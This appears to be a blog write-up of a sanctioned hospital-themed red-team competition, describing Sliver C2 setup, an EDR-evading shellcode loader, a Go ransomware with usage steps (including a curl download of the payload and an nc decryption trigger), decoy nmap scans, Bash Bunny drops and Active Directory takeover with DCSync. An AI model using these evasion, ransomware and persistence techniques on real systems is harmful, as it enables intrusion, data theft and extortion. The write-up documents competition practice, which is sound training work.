πŸ₯MISI Hack the Building 2.0 Hospital Edition

Welcome, or welcome back, its been a while since I have posted but this one will be worth the wait. In this post we will cover what my team and I did to get third place in the Hack the Hospital event.

In this we will be covering:

  • C2 Setup (Sliver)

  • Malware writing

  • AV / EDR Evasion

  • "Ransomeware" writing

  • Physical attacks (USB Rubber Ducky & Bash Bunny)

  • Active Directory attacks

  • Network detection evasion

  • and more...

I hope you are as excited as I am for this!

C2 Evaluations

Before the event started we were informed that the networks, for the most part, would have WLAN access and that we were permitted to setup C2 if we wished.

I immediately hopped onto this and went about testing a few C2 frameworks. Over this few day period I tested Havoc, Empire, and Sliver.

Havoc was too much in a dev stage to use is what I got out of it, too many errors running it and just didn't feel like a finished product yet, but still is a great tool by all means.

Empire was good, but almost all focused on Windows systems, which isn't an issue if you know your target network architecture already but we had only a few hints to go off of and we knew there would be a good number of Linux machines in the environment, so Empire failed on that from for us.

Finally came Sliver. Sliver has a lot of amazing features and utilities and is highly customizable for both Linux and Windows, with more features for Windows but that ended up being what we needed. Because of how easy it is to use and the customization options of the framework I decided to use it.

Sliver C2 Setup

I started the setup by creating a Ubuntu droplet with Digital Ocean, just using the cheapest option of 25 GB storage and like 1 core of a CPU. Didn't have to be anything powerful.

Once the droplet was started I installed the optional dependencies for Sliver and then used the Linux one liner installer from the readme file.

Now with the server installed I needed to configure it. To start we need to enable multiplayer mode and add some operators. After doing this I needed to change the configuration file. Can't be having it running default configs, too easy for the blue team to catch. I changed the server configuration, mainly just the mode and port, to the following:

{
    "daemon_mode": true, //changed to true
    "daemon": {
        "host": "",
        "port": 55232 //changed to new random high port
    },
    "logs": {
        "level": 4,
        "grpc_unary_payloads": false,
        "grpc_stream_payloads": false,
        "tls_key_logger": false
    },
    "jobs": {
        "multiplayer": null
    },
    "watch_tower": null,
    "go_proxy": ""
}

And then started the sliver-server binary again. This time it has no CLI or output, instead we have to connect with the operator profiles we generated before turning on daemon mode.

Using the most recent (at the time of writing) version of the precompiled sliver-client we can import the operator config we generated earlier and then connect to the server from where-ever. No need to ssh in or anything "crazy".

Now with the server started and our operators able to connect we need to configure what tools the operators want to be able to use. Sliver has a feature called the armory which allows operators to download BOFs and other tools locally that you might want to run on machines you compromise. This I found was a very useful feature, especially if you are unable to drop into a shell on the machine due to OPSEC concerns.

Now the last thing we need to finish setting up in Sliver is the profiles we want to use to generate our shellcode. This is very situational dependent and is also highly customizable.

sliver > profiles new -h

Command: new <options> <profile name>
.........
Flags:
======
  -a, --arch               string    cpu architecture (default: amd64)
  -c, --canary             string    canary domain(s)
  -d, --debug                        enable debug features
  -O, --debug-file         string    path to debug output
  -G, --disable-sgn                  disable shikata ga nai shellcode encoder
  -n, --dns                string    dns connection strings
  -e, --evasion                      enable evasion features
  -f, --format             string    Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only) (default: exe)
  -h, --help                         display help
  -b, --http               string    http(s) connection strings
  -X, --key-exchange       int       wg key-exchange port (default: 1337)
  -w, --limit-datetime     string    limit execution to before datetime
  -x, --limit-domainjoined           limit execution to domain joined machines
  -F, --limit-fileexists   string    limit execution to hosts with this file in the filesystem
  -z, --limit-hostname     string    limit execution to specified hostname
  -L, --limit-locale       string    limit execution to hosts that match this locale
  -y, --limit-username     string    limit execution to specified username
  -k, --max-errors         int       max number of connection errors (default: 1000)
  -m, --mtls               string    mtls connection strings
  -N, --name               string    implant name
  -p, --named-pipe         string    named-pipe connection strings
  -o, --os                 string    operating system (default: windows)
  -P, --poll-timeout       int       long poll request timeout (default: 360)
  -j, --reconnect          int       attempt to reconnect every n second(s) (default: 60)
  -R, --run-at-load                  run the implant entrypoint from DllMain/Constructor (shared library only)
  -l, --skip-symbols                 skip symbol obfuscation
  -Z, --strategy           string    specify a connection strategy (r = random, rd = random domain, s = sequential)
  -T, --tcp-comms          int       wg c2 comms port (default: 8888)
  -i, --tcp-pivot          string    tcp-pivot connection strings
  -I, --template           string    implant code template (default: sliver)
  -t, --timeout            int       command timeout in seconds (default: 60)
  -g, --wg                 string    wg connection strings

Sub Commands:
=============
  beacon  Create a new implant profile (beacon)

We opted to go with three profiles. One for Windows x64 session shellcode, another for a Windows x64 beacon, and lastly for a Linux x64 beacon.

Now with these created we could generate our shellcode using the generate command and specify our output as raw. This will take a few seconds, as Sliver shellcode is like 13-15 MB.

NOTE: When using a custom loader disable shikata ga nai encoder

For more Sliver OPSEC notes check our this blog.

AV / EDR Evasion

Once done generating our shellcode we can head over and use a nice and simple tool I built to XOR the shellcode. This is one of the simplest ways we can avoid detection by endpoint protection and anti-virus products.

Now with our shellcode XORd we need to get it executed on the target system somehow. That's where our loader comes into play. I tried a few different approaches to this, starting with building my own from scratch. This was a great learning opportunity and I learned some simple tricks for evasion but in the end Windows Defender was catching it most times, even statically. This was because of the pattern of Windows API calls being made inside of the program most likely, like VirtualAlloc followed by WriteProcessMemory.

Well, at this point I was kinda stumped. I went ahead and reached out to a few coworkers and friends about how I could progress from here and write my own loader, along with a few specific techincal questions. They all gave me great ideas and I actually ended up implementing most of them, one I couldn't (importing into a signed DLL) due to the size of the shellcode, but is something I do want to try out with a smaller payload soon.

Now with all of the tips implemented, I built the executable and... IT WORKED! Sessions opened and no detections, even when messing around for a bit with different operations.

Here is what I baked into it, ripping some parts from various GitHub repos:

  • Anti-Debugging/analysis

  • EDR Unhooking

  • Obfuscation of Windows API calls

  • Encrypting Shellcode

  • Sandbox detection

  • Loading shellcode as a resource

Now here is the final product. It is not anything novel but it does do its job. After one week of using it, and it being submitted to VT a few times throughout the event, here are the VT results I got:

NOTE: Scan with antiscan.me if you are going to continue using the same general codebase. Unfortunately for me, Sliver shellcode is too fat for antiscan.me.

Ransomware Writing

Now with our loader working as needed we needed a ransomware, as we needed to ransom medical data found on the network to get money (aka points). I decided to quickly write a simple ransomware in Go, using Rangoware as an outline. Here is the source and here are the instructions on usage that I wrote into our playbook:


  • Download windows ransomeware: curl -L https://tinyurl.com/... -o installer.exe

  • S1n1st3r has created a go based custom ransomware for the event located in the ransomware folder on the github

  • Steps:

    1. Download the entire rangoware directory

    2. cd into encryptor

    3. Compile for Linux with: go build -o installer -ldflags "-s -w"

    4. Upload the installer binary to target system and run from command line:

      • chmod +x ./installer

      • ./installer <target dir to ransomware>

    5. Once it encrypts the directory it will open port 52343 on the victim machine

    6. To decrypt send UFdORUQ= to the victim machine

      • Can use nc for this: nc <victim machine IP> 52343

        • Then just paste UFdORUQ= and hit enter


We actually never ended up using it sadly but it was nice to actually write something in Go for once.

Competition Start

Now we had reached competition day, or so we thought, and showed up bright and early on Monday... Only to find out the competition starts Tuesday and today was only a training day, and the training doesn't start till 10. We took this time to just get some more work done on our playbook and run through the code we have. We also got to see the setup of the "hospital" and so could start strategizing on what to do.

We ended Monday by working on a Bash Bunny payload to deliver our malware with minimal visuals and without dropping it onto the machines disk.

Physical Attacks

Now it was Tuesday. The big start date. We came in and at 8 AM the organizers opened up the networks to use. We started out with a ping sweep to see what devices were up on the network, along with having a member snooping around looking for any information left around the "hospital" area. With our initial results from the ping sweep we were able to identify a machine running an h2-console instance with an RCE vulnerability. Immediately we were in and as a user named sysadmin who had sudo ALL permissions. With that we dropped our Linux Sliver beacon on the machine and proceeded to create a socks5 proxy connection to continue scanning but on the internal staff subnet.

Now we had some results on both staff and public networks and our snooper came back with a photo of one of the active directory management dashboards left open that revealed a bunch of internal IPs and allowed us to find even more devices, some we could reach yet from the staff network.

After these scans I realized we needed to get access to a domain joined machine or get credentials for an AD account so we can gather data for Bloodhound. This is where I decided to go to hang around the admissions area, where there was a machine with one or two staff sitting at it to check you in for an appointment. After waiting for a good bit eventually they were both distracted enough that I could quickly plug in the Bash Bunny, wait for the finish light and then unplug and leave.

Now we had a domain joined computer (ADMISSIONS1) but unfortunately this user had almost no permissions. We could however look around the machine... And nothing. Also there were no good privilege escalation paths, dang, we would have to go another way.

Now I had to go get an appointment so I could get into an exam room without the security (Blue Team) bothering me and kicking me out. Once I got into the room I looked around and there was an active switch, a Raspberry Pi, a nurse workstation computer that had a domain login screen, and a blood pressure machine. I couldn't login to the nurse computer or the Raspberry Pi, and I couldn't get any good data off the blood pressure machine, despite it having default pins to access the management menus, so I did what all hackers would do... I took the Raspberry Pi's SD card and left.

This turned out to be a good move because we were able to dump the data off of it and find all the scripts and data being used to transmit over HL7, including a CSV file of patient information. The competition ended at this point, because of a terrible network outage that was caused by someone literally bricking the switches, but we felt good with having all this data... Until we came back the next day and the organizers wanted their SD card back and said we couldn't use the data on it. Damn. Well that was unfortunate. Along with this, once the network was restarted, we had lost all our beacons and persistence, and to make things worse, the Linux machine we had compromised was just gone, poof, dust. Not online anymore, and it never came back.

Around the start time on Wednesday we found a note on an open computer with the Staff network password and started poking around it some more, without having to tunnel our traffic over socks5. We used the IPs we had already found and ran some nmap scans, but at least tried to hide them:

nmap -sS -Pn -sV --data "\xCA\xFE\x09" -v -T2 -D <spoof ip1>,<ip2>,<ip3> <target IP>

We were good running this for that day, with the Blue Team not allowed to use some of the fancy products that vendors had brought in for them to try. We got some information and worked on access some more but eventually hit a wall as we prepped a drop box Raspberry Pi to bridge the air-gaped MEDNET network with us through the STAFF network.

During this point I went to try to get some information in another exam room and was able to get RCE on the machine, unfortunately though there wasn't much data and it was on the MEDNET network I couldn't even reach back out to our C2 or other teammates.

Now with some extra data collected from the machine I exited to see all the red teams in flurry of excitement. I ran over to our table to find that a staff member had been overheard on the phone giving credentials for an account and the account had domain administrator privileges. I knew immedietly what to do and took the creds and RDPd into the DC and took a group of disabled accounts and changed their passwords and re-enabled them while giving them DA rights.

Right after this someone changed the accounts password so I was glad we had that persistence with the users now. I used it to then drop a beacon on the DC (DC01) and also to do a DCsync so we can grab their hashes and crack/pass them. We also then took a collection of the AD network using Rusthound, which had zero detection by Defender while doing it. We proceeded to then go around the network snooping on machines and eventually found an interesting server that had a lot of data on its W: drive. This machine was named HL7SOUPSVR and we figured it was were all the HL7 data was being stored, as well as transmitted out of, as it had the HL7 SOUP app running on it. We dropped a beacon on the machine and installed persistence as the day was ending and we didn't have enough time to transfer 12 GBs of data before we had to go.

The next day was Thursday, the last day of the competition. I had checked right as I woke up and was super psyched to see our beacons still all calling back to us. We got in and as we started we took all the HL7 data and ransomed it, we got paid and it put us into 1st place! Woohoo!. We next went about getting some more information throughout the network and then all of a sudden I had my beacon on the DC die. This was random, Defender hadn't caught it, it must have been a Blue Team member seeing the process AnsibleUpdater.exe and thinking it was suspicious. This was bad for us because we had it on a few other machines too, and like clockwork they died one after the other before we could really react.

Because of this I went and changed some of the strings and structure of Hellbreaker and recompiled it and renamed it to ciscoedgex.exe because it sounded professional and important, along with the fact I heard the organizers tell the blue team they couldn't mess with the Cisco applications on some machines.

This worked throughout the rest of the day, except a few cases were dropping some files that were no bueno and Defender would delete those and then kill the beacon because it was the PPID. This was a hard lesson learned but a good one and I didn't make that mistake again once I caught on to what was happening.

Luckily, while we didn't have our beacons on these machines anymore we still had creds and hashes with DA access. That was until the DC went down out of the blue. It remained down for over an hour until it came back up but in a reverted state, with none of our hashes and or creds working anymore, besides machine accounts but they had no remote management rights.

We were locked out of the AD network now with no way in and no good attack vectors, at least from the collection I had. We also were starting to get IP banned based on our network traffic at random times and so had to start changing our MAC addresses and rejoining (which we found out after, they had a way to detect and then terminate all TCP connection).

We proceeded from here by finishing up working on our drop box in order to get on MEDNET and finally got it working. I booked an appointment and walked in, plugged it into a open Ethernet port on a n exposed switch, placed a IP phone on top of it and made sure I didn't look suspicious. After leaving I came back to our team to see what we could find on the network. We were hoping to see traffic for all of the medical devices or one of these bad boys:

Unfortunately all we got was ARP packets on our capture, which it turns out was someone trying to ARP poison the network and they ended up sending over 4 GBs of just ARP packets in one day. Insane.

From here we decided to go after some of the other points instead. These were all mostly physical challenges. The main one was to steal the baby from the NICU and get out past the door down the hall without tripping the alarms. Inside it was kinda like an escape room. I used a pin we stole from watching people enter and then, once in, locked pick some boxes to find a manual for the safe, which had the default code still active. The hard part though was opening this weird old spinning safe that I hadnt seen in forever and have literally never opened. I got it after a few mintues though and inside was a ID badge that I could login to the computer with and discharge the baby from the room with. With that I was able to remove the monitor from the baby, which is usually a heartbeat monitor but it was a magnet, as the baby is a doll, and cut the zipties holding it together.

Now I was able to exit the room with the baby and run for the door but right as I get close it locks. Damn. Turned out there was an ankle monitor on the baby that when it got close to the door, without being discharged through a different portal, would lock the door. I had gotten the baby out of the room though so that was a good amount of points but we wanted the rest for escaping.

We actually did escape twice. Once with a member sneaking in and holding the door once I stole the baby and once by a team member timing the reset correctly to escape after the baby had tripped the alert earlier. Both times we were denied points though because we needed to do it though "cyber" means.

After all this we placed 3rd out of the red teams but we did learn a ton and I found a renewed passion for red teaming and new passion for malware development.

Thanks for reading!